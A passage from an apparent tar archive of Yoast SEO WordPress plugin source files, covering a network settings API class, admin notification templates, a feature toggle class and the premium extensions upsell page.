			add_filter( "default_site_option_{$option_name}", [ $this, 'filter_default_option' ], 10, 2 );
		}

		$this->registered_settings[ $option_name ] = $args;
	}

	/**
	 * Gets the registered settings and their data.
	 *
	 * @return array Array of $option_name => $data pairs.
	 */
	public function get_registered_settings() {
		return $this->registered_settings;
	}

	/**
	 * Gets the whitelisted options for a given option group.
	 *
	 * @param string $option_group Option group.
	 *
	 * @return array List of option names, or empty array if unknown option group.
	 */
	public function get_whitelist_options( $option_group ) {
		if ( ! isset( $this->whitelist_options[ $option_group ] ) ) {
			return [];
		}

		return $this->whitelist_options[ $option_group ];
	}

	/**
	 * Filters sanitization for a network option value.
	 *
	 * This method is added as a filter to `sanitize_option_{$option}` for network options that are
	 * registered with a sanitize callback.
	 *
	 * @param string $value  The sanitized option value.
	 * @param string $option The option name.
	 *
	 * @return string The filtered sanitized option value.
	 */
	public function filter_sanitize_option( $value, $option ) {

		if ( empty( $this->registered_settings[ $option ] ) ) {
			return $value;
		}

		return call_user_func( $this->registered_settings[ $option ]['sanitize_callback'], $value );
	}

	/**
	 * Filters the default value for a network option.
	 *
	 * This function is added as a filter to `default_site_option_{$option}` for network options that
	 * are registered with a default.
	 *
	 * @param mixed  $default_value Existing default value to return.
	 * @param string $option        The option name.
	 *
	 * @return mixed The filtered default value.
	 */
	public function filter_default_option( $default_value, $option ) {

		// If a default value was manually passed to the function, allow it to override.
		if ( $default_value !== false ) {
			return $default_value;
		}

		if ( empty( $this->registered_settings[ $option ] ) ) {
			return $default_value;
		}

		return $this->registered_settings[ $option ]['default'];
	}

	/**
	 * Checks whether the requirements to use this class are met.
	 *
	 * @return bool True if requirements are met, false otherwise.
	 */
	public function meets_requirements() {
		return is_multisite();
	}

	/**
	 * Gets the singleton instance of this class.
	 *
	 * @return Yoast_Network_Settings_API The singleton instance.
	 */
	public static function get() {

		if ( self::$instance === null ) {
			self::$instance = new self();
		}

		return self::$instance;
	}
}
wordpress-seo/admin/admin-settings-changed-listener.php000064400000004615147510273100017327 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * A WordPress integration that listens for whether the SEO changes have been saved successfully.
 */
class WPSEO_Admin_Settings_Changed_Listener implements WPSEO_WordPress_Integration {

	/**
	 * Have the Yoast SEO settings been saved.
	 *
	 * @var bool
	 */
	private static $settings_saved = false;

	/**
	 * Registers all hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( 'admin_init', [ $this, 'intercept_save_update_notification' ] );
	}

	/**
	 * Checks and overwrites the wp_settings_errors global to determine whether the Yoast SEO settings have been saved.
	 *
	 * @return void
	 */
	public function intercept_save_update_notification() {
		global $pagenow;

		if ( $pagenow !== 'admin.php' || ! YoastSEO()->helpers->current_page->is_yoast_seo_page() ) {
			return;
		}

		// Variable name is the same as the global that is set by get_settings_errors.
		$wp_settings_errors = get_settings_errors();

		foreach ( $wp_settings_errors as $key => $wp_settings_error ) {
			if ( ! $this->is_settings_updated_notification( $wp_settings_error ) ) {
				continue;
			}

			self::$settings_saved = true;
			unset( $wp_settings_errors[ $key ] );
			// phpcs:ignore WordPress.WP.GlobalVariablesOverride -- Overwrite the global with the list excluding the Changed saved message.
			$GLOBALS['wp_settings_errors'] = $wp_settings_errors;
			break;
		}
	}

	/**
	 * Checks whether the settings notification is a settings_updated notification.
	 *
	 * @param array $wp_settings_error The settings object.
	 *
	 * @return bool Whether this is a settings updated settings notification.
	 */
	public function is_settings_updated_notification( $wp_settings_error ) {
		return ! empty( $wp_settings_error['code'] ) && $wp_settings_error['code'] === 'settings_updated';
	}

	/**
	 * Get whether the settings have successfully been saved
	 *
	 * @return bool Whether the settings have successfully been saved.
	 */
	public function have_settings_been_saved() {
		return self::$settings_saved;
	}

	/**
	 * Renders a success message if the Yoast SEO settings have been saved.
	 *
	 * @return void
	 */
	public function show_success_message() {
		if ( $this->have_settings_been_saved() ) {
			echo '<p class="wpseo-message"><span class="dashicons dashicons-yes"></span>',
				esc_html__( 'Settings saved.', 'wordpress-seo' ),
				'</p>';
		}
	}
}
wordpress-seo/admin/views/class-yoast-feature-toggle.php000064400000011043147510273100017467 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Class representing a feature toggle.
 */
class Yoast_Feature_Toggle {

	/**
	 * Feature toggle identifier.
	 *
	 * @var string
	 */
	protected $name = '';

	/**
	 * Name of the setting the feature toggle is associated with.
	 *
	 * @var string
	 */
	protected $setting = '';

	/**
	 * Whether the feature is premium or not.
	 *
	 * @var bool
	 */
	protected $premium = false;

	/**
	 * Whether the feature is in beta or not.
	 *
	 * @var bool
	 */
	protected $in_beta = false;

	/**
	 * The Premium version in which this feature has been added.
	 *
	 * @var string
	 */
	protected $premium_version = '';

	/**
	 * The languages in which this feature is supported.
	 * E.g. for language specific analysis support.
	 *
	 * If empty, the feature is considered to have support in all languages.
	 *
	 * @var string[]
	 */
	protected $supported_languages = [];

	/**
	 * Feature toggle label.
	 *
	 * @var string
	 */
	protected $label = '';

	/**
	 * URL to learn more about the feature.
	 *
	 * @var string
	 */
	protected $read_more_url = '';

	/**
	 * URL to learn more about the premium feature.
	 *
	 * @var string
	 */
	protected $premium_url = '';

	/**
	 * URL to buy premium.
	 *
	 * @var string
	 */
	protected $premium_upsell_url = '';

	/**
	 * Label for the learn more link.
	 *
	 * @var string
	 */
	protected $read_more_label = '';

	/**
	 * Additional help content for the feature.
	 *
	 * @var string
	 */
	protected $extra = '';

	/**
	 * Additional content to be rendered after the toggle.
	 *
	 * @var string
	 */
	protected $after = '';

	/**
	 * Value to specify the feature toggle order.
	 *
	 * @var string
	 */
	protected $order = 100;

	/**
	 * Disable the integration toggle.
	 *
	 * @var bool
	 */
	protected $disabled = false;

	/**
	 * Whether the feature is new or not.
	 *
	 * @var bool
	 */
	protected $new = false;

	/**
	 * Constructor.
	 *
	 * Sets the feature toggle arguments.
	 *
	 * @param array $args {
	 *     Feature toggle arguments.
	 *
	 *     @type string $name                Required. Feature toggle identifier.
	 *     @type string $setting             Required. Name of the setting the feature toggle is associated with.
	 *     @type string $disabled            Whether the feature is premium or not.
	 *     @type string $label               Feature toggle label.
	 *     @type string $read_more_url       URL to learn more about the feature. Default empty string.
	 *     @type string $premium_upsell_url  URL to buy premium. Default empty string.
	 *     @type string $read_more_label     Label for the learn more link. Default empty string.
	 *     @type string $extra               Additional help content for the feature. Default empty string.
	 *     @type int    $order               Value to specify the feature toggle order. A lower value indicates
	 *                                       a higher priority. Default 100.
	 *     @type bool   $disabled            Disable the integration toggle. Default false.
	 *     @type string $new                 Whether the feature is new or not.
	 *     @type bool   $in_beta             Whether the feature is in beta or not.
	 *     @type array  $supported_languages The languages that this feature supports.
	 *     @type string $premium_version     The Premium version in which this feature was added.
	 * }
	 *
	 * @throws InvalidArgumentException Thrown when a required argument is missing.
	 */
	public function __construct( array $args ) {
		$required_keys = [ 'name', 'setting' ];

		foreach ( $required_keys as $key ) {
			if ( empty( $args[ $key ] ) ) {
				/* translators: %s: argument name */
				throw new InvalidArgumentException( sprintf( __( '%s is a required feature toggle argument.', 'wordpress-seo' ), $key ) );
			}
		}

		foreach ( $args as $key => $value ) {
			if ( property_exists( $this, $key ) ) {
				$this->$key = $value;
			}
		}
	}

	/**
	 * Magic isset-er.
	 *
	 * @param string $key Key to check whether a value for it is set.
	 *
	 * @return bool True if set, false otherwise.
	 */
	public function __isset( $key ) {
		return isset( $this->$key );
	}

	/**
	 * Magic getter.
	 *
	 * @param string $key Key to get the value for.
	 *
	 * @return mixed Value for the key, or null if not set.
	 */
	public function __get( $key ) {
		if ( isset( $this->$key ) ) {
			return $this->$key;
		}

		return null;
	}

	/**
	 * Checks whether the feature for this toggle is enabled.
	 *
	 * @return bool True if the feature is enabled, false otherwise.
	 */
	public function is_enabled() {
		return (bool) WPSEO_Options::get( $this->setting );
	}
}
wordpress-seo/admin/views/partial-notifications-template.php000064400000007631147510273100020441 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 *
 * @uses    string $yoast_seo_type
 * @uses    string $yoast_seo_dashicon
 * @uses    string $yoast_seo_i18n_title
 * @uses    string $yoast_seo_i18n_issues
 * @uses    string $yoast_seo_i18n_no_issues
 * @uses    string $yoast_seo_i18n_muted_issues_title
 * @uses    int    $yoast_seo_active_total
 * @uses    int    $yoast_seo_dismissed_total
 * @uses    int    $yoast_seo_total
 * @uses    array  $yoast_seo_active
 * @uses    array  $yoast_seo_dismissed
 */

if ( ! function_exists( '_yoast_display_notifications' ) ) {
	/**
	 * Create the notifications HTML with restore/dismiss button.
	 *
	 * @param array  $notifications_list List of notifications.
	 * @param string $status             Status of the notifications (active/dismissed).
	 *
	 * @return string The output to render.
	 */
	function _yoast_display_notifications( $notifications_list, $status ) {
		$notifications = '';

		foreach ( $notifications_list as $notification ) {

			switch ( $status ) {
				case 'active':
					$button = sprintf(
						'<button type="button" class="button dismiss"><span class="screen-reader-text">%1$s</span><span class="dashicons dashicons-hidden"></span></button>',
						/* translators: Hidden accessibility text. */
						esc_html__( 'Hide this item.', 'wordpress-seo' )
					);
					break;

				case 'dismissed':
					$button = sprintf(
						'<button type="button" class="button restore"><span class="screen-reader-text">%1$s</span><span class="dashicons yoast-svg-icon-eye"></span></button>',
						/* translators: Hidden accessibility text. */
						esc_html__( 'Show this item.', 'wordpress-seo' )
					);
					break;
			}

			$notifications .= sprintf(
				'<div class="yoast-notification-holder" id="%1$s" data-nonce="%2$s" data-json="%3$s">%4$s%5$s</div>',
				esc_attr( $notification->get_id() ),
				esc_attr( $notification->get_nonce() ),
				esc_attr( $notification->get_json() ),
				// This needs to be fixed in https://github.com/Yoast/wordpress-seo-premium/issues/2548.
				$notification,
				// Note: $button is properly escaped above.
				$button
			);
		}

		return $notifications;
	}
}

$wpseo_i18n_summary = $yoast_seo_i18n_issues;
if ( ! $yoast_seo_active ) {
	$yoast_seo_dashicon = 'yes';
	$wpseo_i18n_summary = $yoast_seo_i18n_no_issues;
}

?>
<h3 class="yoast-notifications-header" id="<?php echo esc_attr( 'yoast-' . $yoast_seo_type . '-header' ); ?>">
	<span class="dashicons <?php echo esc_attr( 'dashicons-' . $yoast_seo_dashicon ); ?>"></span>
	<?php echo esc_html( $yoast_seo_i18n_title ); ?> (<?php echo (int) $yoast_seo_active_total; ?>)
</h3>

<div id="<?php echo esc_attr( 'yoast-' . $yoast_seo_type ); ?>">

	<?php if ( $yoast_seo_total ) : ?>
		<p><?php echo esc_html( $wpseo_i18n_summary ); ?></p>

		<div class="container yoast-notifications-active" id="<?php echo esc_attr( 'yoast-' . $yoast_seo_type . '-active' ); ?>">
			<?php
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: _yoast_display_notifications() as declared above is safe.
			echo _yoast_display_notifications( $yoast_seo_active, 'active' );
			?>
		</div>

		<?php
		if ( $yoast_seo_dismissed ) {
			$dismissed_paper = new WPSEO_Paper_Presenter(
				esc_html( $yoast_seo_i18n_muted_issues_title ),
				null,
				[
					'paper_id'                 => esc_attr( $yoast_seo_type . '-dismissed' ),
					'paper_id_prefix'          => 'yoast-',
					'class'                    => 'yoast-notifications-dismissed',
					'content'                  => _yoast_display_notifications( $yoast_seo_dismissed, 'dismissed' ),
					'collapsible'              => true,
					'collapsible_header_class' => 'yoast-notification',
				]
			);
			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: get_output() output is properly escaped.
			echo $dismissed_paper->get_output();
		}
		?>

	<?php else : ?>

		<p><?php echo esc_html( $yoast_seo_i18n_no_issues ); ?></p>

	<?php endif; ?>
</div>
wordpress-seo/admin/views/partial-notifications-errors.php000064400000002202147510273100020127 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 *
 * @uses    array $notifications_data
 */

$yoast_seo_type     = 'errors';
$yoast_seo_dashicon = 'warning';

$yoast_seo_active    = $notifications_data['errors']['active'];
$yoast_seo_dismissed = $notifications_data['errors']['dismissed'];

$yoast_seo_active_total    = count( $yoast_seo_active );
$yoast_seo_dismissed_total = count( $yoast_seo_dismissed );
$yoast_seo_total           = $notifications_data['metrics']['errors'];

$yoast_seo_i18n_title              = __( 'Problems', 'wordpress-seo' );
$yoast_seo_i18n_issues             = __( 'We have detected the following issues that affect the SEO of your site.', 'wordpress-seo' );
$yoast_seo_i18n_no_issues          = __( 'Good job! We could detect no serious SEO problems.', 'wordpress-seo' );
$yoast_seo_i18n_muted_issues_title = sprintf(
	/* translators: %d expands the amount of hidden notifications. */
	_n( 'You have %d hidden notification:', 'You have %d hidden notifications:', $yoast_seo_dismissed_total, 'wordpress-seo' ),
	$yoast_seo_dismissed_total
);

require WPSEO_PATH . 'admin/views/partial-notifications-template.php';
wordpress-seo/admin/views/licenses.php000064400000043671147510273100014136 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 * @since   5.1
 */

use Yoast\WP\SEO\Promotions\Application\Promotion_Manager;

if ( ! defined( 'WPSEO_VERSION' ) ) {
	header( 'Status: 403 Forbidden' );
	header( 'HTTP/1.1 403 Forbidden' );
	exit();
}

do_action( 'wpseo_install_and_activate_addons' );

$premium_extension = [
	'buyUrl'   => WPSEO_Shortlinker::get( 'https://yoa.st/zz' ),
	'infoUrl'  => WPSEO_Shortlinker::get( 'https://yoa.st/zy' ),
	'title'    => 'Yoast SEO Premium',
	/* translators: %1$s expands to Yoast SEO */
	'desc'     => sprintf( __( 'The premium version of %1$s with more features & support.', 'wordpress-seo' ), 'Yoast SEO' ),
	'image'    => plugin_dir_url( WPSEO_FILE ) . 'packages/js/images/Yoast_SEO_Icon.svg',
	'benefits' => [],
];

$extensions = [
	WPSEO_Addon_Manager::LOCAL_SLUG => [
		'buyUrl'        => WPSEO_Shortlinker::get( 'https://yoa.st/zt' ),
		'infoUrl'       => WPSEO_Shortlinker::get( 'https://yoa.st/zs' ),
		'title'         => 'Local SEO',
		'display_title' => __( 'Stand out for local searches', 'wordpress-seo' ),
		'desc'          => __( 'Rank better locally and in Google Maps, without breaking a sweat!', 'wordpress-seo' ),
		'image'         => plugins_url( 'images/local_plugin_assistant.svg?v=' . WPSEO_VERSION, WPSEO_FILE ),
		'benefits'      => [
			__( 'Attract more customers to your site and physical store', 'wordpress-seo' ),
			__( 'Automatically get technical SEO best practices for local businesses', 'wordpress-seo' ),
			__( 'Easily add maps, address finders, and opening hours to your content', 'wordpress-seo' ),
			__( 'Optimize your business for multiple locations', 'wordpress-seo' ),
		],
	],
	WPSEO_Addon_Manager::VIDEO_SLUG => [
		'buyUrl'        => WPSEO_Shortlinker::get( 'https://yoa.st/zx/' ),
		'infoUrl'       => WPSEO_Shortlinker::get( 'https://yoa.st/zw/' ),
		'title'         => 'Video SEO',
		'display_title' => __( 'Drive more views to your videos', 'wordpress-seo' ),
		'desc'          => __( 'Optimize your videos to show them off in search results and get more clicks!', 'wordpress-seo' ),
		'image'         => plugins_url( 'images/video_plugin_assistant.svg?v=' . WPSEO_VERSION, WPSEO_FILE ),
		'benefits'      => [
			__( 'Automatically get technical SEO best practices for video content', 'wordpress-seo' ),
			__( 'Make sure your videos load quickly for users', 'wordpress-seo' ),
			__( 'Make your videos responsive for all screen sizes', 'wordpress-seo' ),
			__( 'Optimize your video previews & thumbnails', 'wordpress-seo' ),
		],
	],
	WPSEO_Addon_Manager::NEWS_SLUG  => [
		'buyUrl'        => WPSEO_Shortlinker::get( 'https://yoa.st/zv/' ),
		'infoUrl'       => WPSEO_Shortlinker::get( 'https://yoa.st/zu/' ),
		'title'         => 'News SEO',
		'display_title' => __( 'Rank higher in Google\'s news carousel', 'wordpress-seo' ),
		'desc'          => __( 'Are you in Google News? Increase your traffic from Google News by optimizing for it!', 'wordpress-seo' ),
		'image'         => plugins_url( 'images/news_plugin_assistant.svg?v=' . WPSEO_VERSION, WPSEO_FILE ),
		'benefits'      => [
			__( 'Optimize your site for Google News', 'wordpress-seo' ),
			__( 'Ping Google on the publication of a new post', 'wordpress-seo' ),
			__( 'Add all necessary schema.org markup', 'wordpress-seo' ),
			__( 'Get XML sitemaps', 'wordpress-seo' ),
		],
	],
];

// Add Yoast WooCommerce SEO when WooCommerce is active.
if ( YoastSEO()->helpers->woocommerce->is_active() ) {
	$extensions[ WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ] = [
		'buyUrl'        => WPSEO_Shortlinker::get( 'https://yoa.st/zr' ),
		'infoUrl'       => WPSEO_Shortlinker::get( 'https://yoa.st/zq' ),
		'title'         => 'Yoast WooCommerce SEO',
		'display_title' => __( 'Drive more traffic to your online store', 'wordpress-seo' ),
		/* translators: %1$s expands to Yoast SEO */
		'desc'          => sprintf( __( 'Seamlessly integrate WooCommerce with %1$s and get extra features!', 'wordpress-seo' ), 'Yoast SEO' ),
		'image'         => plugins_url( 'images/woo_plugin_assistant.svg?v=' . WPSEO_VERSION, WPSEO_FILE ),
		'benefits'      => [
			__( 'Write product pages that rank using the SEO analysis', 'wordpress-seo' ),
			__( 'Increase Google clicks with rich results', 'wordpress-seo' ),
			__( 'Add global identifiers for variable products', 'wordpress-seo' ),
			/* translators: %1$s expands to Yoast SEO, %2$s expands to WooCommerce */
			sprintf( __( 'Seamless integration between %1$s and %2$s', 'wordpress-seo' ), 'Yoast SEO', 'WooCommerce' ),
			__( 'Turn more visitors into customers!', 'wordpress-seo' ),
		],
		'buy_button'    => 'WooCommerce SEO',
	];
}

// The total number of plugins to consider is the length of the array + 1 for Premium.
// @phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
$number_plugins_total = ( count( $extensions ) + 1 );
// @phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
$number_plugins_active = 0;

$extensions['yoast-seo-plugin-subscription'] = [
	'buyUrl'        => WPSEO_Shortlinker::get( 'https://yoa.st/premium-page-bundle-buy' ),
	'infoUrl'       => WPSEO_Shortlinker::get( 'https://yoa.st/premium-page-bundle-info' ),
	/* translators: used in phrases such as "More information about all the Yoast plugins" */
	'title'         => __( 'all the Yoast plugins', 'wordpress-seo' ),
	'display_title' => __( 'Cover all your SEO bases', 'wordpress-seo' ),
	'desc'          => '',
	'image'         => plugins_url( 'images/plugin_subscription.svg?v=' . WPSEO_VERSION, WPSEO_FILE ),
	'benefits'      => [
		__( 'Get all 5 Yoast plugins for WordPress at a big discount', 'wordpress-seo' ),
		__( 'Reach new customers who live near your business', 'wordpress-seo' ),
		__( 'Drive more views to your videos', 'wordpress-seo' ),
		__( 'Rank higher in Google\'s news carousel', 'wordpress-seo' ),
		__( 'Drive more traffic to your online store', 'wordpress-seo' ),

	],
	/* translators: used in phrases such as "Buy all the Yoast plugins" */
	'buy_button'    => __( 'all the Yoast plugins', 'wordpress-seo' ),
];

$addon_manager                  = new WPSEO_Addon_Manager();
$has_valid_premium_subscription = YoastSEO()->helpers->product->is_premium() && $addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG );

/* translators: %1$s expands to Yoast SEO. */
$wpseo_extensions_header = sprintf( __( '%1$s Extensions', 'wordpress-seo' ), 'Yoast SEO' );
$new_tab_message         = sprintf(
	'<span class="screen-reader-text">%1$s</span>',
	/* translators: Hidden accessibility text. */
	esc_html__( '(Opens in a new browser tab)', 'wordpress-seo' )
);

$sale_badge         = '';
$premium_sale_badge = '';

if ( YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2024-promotion' ) ) {
	/* translators: %1$s expands to opening span, %2$s expands to closing span */
	$sale_badge_span = sprintf( esc_html__( '%1$s30%% OFF%2$s', 'wordpress-seo' ), '<span>', '</span>' );

	$sale_badge = '<div class="yoast-seo-premium-extension-sale-badge">' . $sale_badge_span . '</div>';

	$premium_sale_badge = ( $has_valid_premium_subscription ) ? '' : $sale_badge;
}

?>

<div class="wrap yoast wpseo_table_page">

	<h1 id="wpseo-title" class="yoast-h1"><?php echo esc_html( $wpseo_extensions_header ); ?></h1>

	<div id="extensions">
		<section class="yoast-seo-premium-extension">
			<?php echo $premium_sale_badge; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Output is already escaped ?>
			<h2>
				<?php esc_html_e( 'Rank higher in search results', 'wordpress-seo' ); ?>
				<img alt="" width="100" height="100" src="<?php echo esc_url( $premium_extension['image'] ); ?>"/>
			</h2>
			<?php
			if ( ! $has_valid_premium_subscription ) :
				?>
				<ul class="yoast-seo-premium-benefits yoast-list--usp">
					<li class="yoast-seo-premium-benefits__item">
						<?php
						printf(
							/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
							esc_html__( '%1$sAI%2$s: Better SEO titles and meta descriptions, faster.', 'wordpress-seo' ),
							'<strong>',
							'</strong>'
						);
						?>
					</li>
					<li class="yoast-seo-premium-benefits__item">
						<?php
						printf(
							/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
							esc_html__( '%1$sMultiple keywords%2$s: Rank higher for more searches.', 'wordpress-seo' ),
							'<strong>',
							'</strong>'
						);
						?>
					</li>
					<li class="yoast-seo-premium-benefits__item">
						<?php
						printf(
							/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
							esc_html__( '%1$sSuper fast%2$s internal linking suggestions.', 'wordpress-seo' ),
							'<strong>',
							'</strong>'
						);
						?>
					</li>
					<li class="yoast-seo-premium-benefits__item">
						<?php
						printf(
							/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
							esc_html__( '%1$sNo more broken links%2$s: Automatic redirect manager.', 'wordpress-seo' ),
							'<strong>',
							'</strong>'
						);
						?>
					</li>
					<li class="yoast-seo-premium-benefits__item">
						<?php
						printf(
							/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
							esc_html__( '%1$sAppealing social previews%2$s people actually want to click on.', 'wordpress-seo' ),
							'<strong>',
							'</strong>'
						);
						?>
					</li>
					<li class="yoast-seo-premium-benefits__item">
						<?php
						printf(
							/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
							esc_html__( '%1$s24/7 support%2$s: Also on evenings and weekends.', 'wordpress-seo' ),
							'<strong>',
							'</strong>'
						);
						?>
					</li>
				</ul>
			<?php endif; ?>
			<?php if ( $addon_manager->is_installed( WPSEO_Addon_Manager::PREMIUM_SLUG ) ) : ?>
				<div class="yoast-button yoast-button--noarrow yoast-button--extension yoast-button--extension-installed"><?php esc_html_e( 'Installed', 'wordpress-seo' ); ?></div>

				<?php
				if ( $has_valid_premium_subscription ) :
					++$number_plugins_active;
					?>
					<div class="yoast-button yoast-button--noarrow yoast-button--extension yoast-button--extension-activated"><?php esc_html_e( 'Activated', 'wordpress-seo' ); ?></div>
					<a target="_blank" href="<?php WPSEO_Shortlinker::show( 'https://yoa.st/13k' ); ?>" class="yoast-link--license">
						<?php
						printf(
							/* translators: %s expands to the extension title */
							esc_html__( 'Manage your %s subscription on MyYoast', 'wordpress-seo' ),
							esc_html( $premium_extension['title'] )
						);
						// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $new_tab_message is properly escaped.
						echo $new_tab_message;
						?>
					</a>
				<?php else : ?>
					<div class="yoast-button yoast-button--noarrow yoast-button--extension yoast-button--extension-not-activated"><?php esc_html_e( 'Not activated', 'wordpress-seo' ); ?></div>
					<a target="_blank" href="<?php WPSEO_Shortlinker::show( 'https://yoa.st/13i' ); ?>" class="yoast-link--license">
						<?php
						printf(
							/* translators: %s expands to the extension title */
							esc_html__( 'Activate %s for your site on MyYoast', 'wordpress-seo' ),
							// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: The `get_title` value is hardcoded; only passed through the WPSEO_Extensions class.
							esc_html( $premium_extension['title'] )
						);
						// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $new_tab_message is properly escaped.
						echo $new_tab_message;
						?>
					</a>
				<?php endif; ?>

			<?php else : ?>

				<a target="_blank" data-action="load-nfd-ctb" data-ctb-id="f6a84663-465f-4cb5-8ba5-f7a6d72224b2" href="<?php echo esc_url( $premium_extension['buyUrl'] ); ?>" class="yoast-button-upsell">
					<?php
					printf(
						/* translators: $s expands to Yoast SEO Premium */
						esc_html__( 'Buy %s', 'wordpress-seo' ),
						esc_html( $premium_extension['title'] )
					);
					// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $new_tab_message is properly escaped.
					echo $new_tab_message;
					echo '<span aria-hidden="true" class="yoast-button-upsell__caret"></span>';
					?>
				</a>

				<a target="_blank"  href="<?php echo esc_url( $premium_extension['infoUrl'] ); ?>" class="yoast-link--more-info">
					<?php
					esc_html_e( 'Explore now', 'wordpress-seo' );
					// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $new_tab_message is properly escaped.
					echo $new_tab_message;
					?>
				</a>
			<?php endif; ?>
			<?php if ( ! $has_valid_premium_subscription ) { ?>
				<p>
					<small class="yoast-money-back-guarantee"><?php esc_html_e( 'With a 30-day money-back guarantee. No questions asked.', 'wordpress-seo' ); ?></small>
				</p>
			<?php } ?>
		</section>

		<hr class="yoast-hr" aria-hidden="true"/>

		<section class="yoast-promo-extensions">
			<h2>
				<?php
				printf(
					/* translators: %1$s expands to a span opening tag, %2$s expands to a span closing tag, %3$s expands to Yoast SEO */
					esc_html__( '%1$sOutrank your competitors even further%2$s with these %3$s plugins', 'wordpress-seo' ),
					'<span class="yoast-heading-highlight">',
					'</span>',
					'Yoast SEO'
				);
				?>
			</h2>

			<?php
			foreach ( $extensions as $slug => $extension ) :

				// Skip the "All the plugins" card if the user has already all the plugins active.
				if ( $slug === 'yoast-seo-plugin-subscription' && $number_plugins_active === $number_plugins_total ) {
					continue;
				}
				?>
				<section class="yoast-promoblock secondary yoast-promo-extension">
					<?php if ( ! $addon_manager->has_valid_subscription( $slug ) || ! $addon_manager->is_installed( $slug ) ) : ?>
						<?php echo $sale_badge; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Output already escaped ?>
					<?php endif; ?>
					<h3>
						<img alt="" width="100" height="100" src="<?php echo esc_url( $extension['image'] ); ?>"/>
						<?php echo esc_html( $extension['display_title'] ); ?>
					</h3>
					<ul class="yoast-list--usp">
						<?php foreach ( $extension['benefits'] as $benefit ) : ?>
							<li><?php echo esc_html( $benefit ); ?></li>
						<?php endforeach; ?>
					</ul>

					<div class="yoast-button-container">
						<?php if ( $addon_manager->is_installed( $slug ) ) : ?>
							<div class="yoast-button yoast-button--noarrow yoast-button--extension yoast-button--extension-installed"><?php esc_html_e( 'Installed', 'wordpress-seo' ); ?></div>

							<?php
							if ( $addon_manager->has_valid_subscription( $slug ) ) :
								++$number_plugins_active;
								?>
								<div class="yoast-button yoast-button--noarrow yoast-button--extension yoast-button--extension-activated"><?php esc_html_e( 'Activated', 'wordpress-seo' ); ?></div>
								<a target="_blank" href="<?php WPSEO_Shortlinker::show( 'https://yoa.st/13k' ); ?>" class="yoast-link--license">
									<?php
									printf(
										/* translators: %s expands to the extension title */
										esc_html__( 'Manage your %s subscription on MyYoast', 'wordpress-seo' ),
										// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: The `get_title` value is hardcoded; only passed through the WPSEO_Extensions class.
										$extension['title']
									);
									// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $new_tab_message is properly escaped.
									echo $new_tab_message;
									?>
								</a>
							<?php else : ?>
								<div class="yoast-button yoast-button--noarrow yoast-button--extension yoast-button--extension-not-activated"><?php esc_html_e( 'Not activated', 'wordpress-seo' ); ?></div>
								<a target="_blank" href="<?php WPSEO_Shortlinker::show( 'https://yoa.st/13i' ); ?>" class="yoast-link--license">
									<?php
									printf(
										/* translators: %s expands to the extension title */
										esc_html__( 'Activate %s for your site on MyYoast', 'wordpress-seo' ),
										// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: The `get_title` value is hardcoded; only passed through the WPSEO_Extensions class.
										$extension['title']
									);
									// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $new_tab_message is properly escaped.
									echo $new_tab_message;
									?>
								</a>
							<?php endif; ?>
						<?php else : ?>
							<a target="_blank" class="yoast-button-upsell" href="<?php echo esc_url( $extension['buyUrl'] ); ?>">
								<?php
								printf(
									/* translators: %s expands to the product name, e.g. "News SEO" or "all the Yoast Plugins" */
									esc_html__( 'Buy %s', 'wordpress-seo' ),
									// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: The possible `get_buy_button` values are hardcoded (buy_button or title); only passed through the WPSEO_Extensions class.
									( isset( $extension['buy_button'] ) ) ? $extension['buy_button'] : $extension['title']
								);
								// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $new_tab_message is properly escaped.
								echo $new_tab_message;
								echo '<span aria-hidden="true" class="yoast-button-upsell__caret"></span>';
								?>
							</a>
							<?php if ( $slug === 'yoast-seo-plugin-subscription' ) : ?>
								<p class="yoast-subscription-discount">
									<?php esc_html_e( 'Only $/€/£229 per year (ex VAT). Save over 40% with this subscription!', 'wordpress-seo' ); ?>
								</p>
							<?php endif; ?>
							<a target="_blank" class="yoast-link--more-info" href="<?php echo esc_url( $extension['infoUrl'] ); ?>">
								<?php
								esc_html_e( 'Explore now', 'wordpress-seo' );
								// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $new_tab_message is properly escaped.
								echo $new_tab_message;
								?>
							</a>
						<?php endif; ?>
					</div>
				</section>
			<?php endforeach; ?>
		</section>
	</div>

</div>
